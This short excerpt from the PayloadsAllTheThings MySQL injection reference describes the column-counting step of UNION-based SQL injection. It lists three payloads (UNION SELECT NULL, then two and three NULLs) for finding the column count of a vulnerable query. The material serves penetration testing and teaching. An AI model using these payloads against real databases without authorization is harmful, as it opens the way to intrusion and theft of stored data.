Systematically increase the number of columns in the `UNION SELECT` statement until the payload executes without errors or produces a visible change. Each iteration checks the compatibility of the column count.
UNION SELECT NULL;--
UNION SELECT NULL, NULL;--
UNION SELECT NULL, NULL, NULL;--Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.